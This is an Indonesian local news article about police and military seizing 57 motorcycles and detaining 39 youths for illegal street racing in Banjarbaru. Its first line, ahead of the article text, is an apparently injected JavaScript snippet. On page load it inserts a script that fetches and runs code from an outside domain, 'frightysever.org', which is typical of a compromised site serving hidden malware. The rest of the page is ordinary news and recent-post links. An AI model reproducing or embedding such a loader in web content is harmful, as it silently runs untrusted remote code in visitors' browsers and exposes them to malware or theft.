(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Tak Pernah Jera Balap Liar, Sepekan 57 Motor dan 39 Remaja Ditangkap


BANJARBARU, Dalam sepekan terakhir Tim Gabungan TNI Polri berhasil mengamankan sebanyak 57 unit roda dua dan 39 orang pemuda yang diduga menggelar balap liar.

Aksi balap liar mulai memasuki awal bulan Ramadhan di pusat kota Banjarbaru Kawasan lapangan Murdjani. Hal ini tentu saja membuat aparat Kepolisian dan TNI dituntut ekstra keras menertibkan balap liar tersebut, karena menggangu ketertiban umum dan membahayakan masyarakat.

Dalam Giat Cipta Kondisi yang digelar Polres Banjarbaru dan TNI dilaksanakan untuk menciptakan suasana aman dan nyaman warga Banjarbaru.

Tim gabungan bahkan sempat melakukan aksi kejar-kejaran terhadap pebalap liar hingga mem-blokade jalan. Dan hasilnya sebanyak 57 unit kendaraan roda dua bersama 39 remaja diamankan.

Kapolres Banjarbaru AKPB Kelana Jaya mengungkapkan, untuk seluruh kendaraan maupun para pelaku balap liar dikenakan tindakan penilangan dan pembinaan, serta membuat surat perjanjian tidak akan mengulangi lagi.

“Untuk semua sepeda motor tersebut diamankan dan dilakukan penilangan oleh Satlantas Polres Banjarbaru, sementara remaja yang diduga melakukan balap liar didata dan membuat Surat Pernyataan, orang tua mereka dipanggil,” kata Kapolres.

Bila para pelanggar tersebut kemudian hari didapati melakukan hal serupa, maka petugas tidak akan segan-segan melakukan penindakan tegas.

“Sesuai UU Nomor 2 Tahun 2009 Pasal 115 tentang lalu lintas dan angkutan jalan, pengendara dapat dihukum dengan ancaman kurungan paling lama 1 tahun dan denda maksimal Rp 3 juta,” pungkasnya. (rico)

Reporter:Rico
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

1 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

4 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

5 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

7 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

7 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

7 jam ago

This website uses cookies.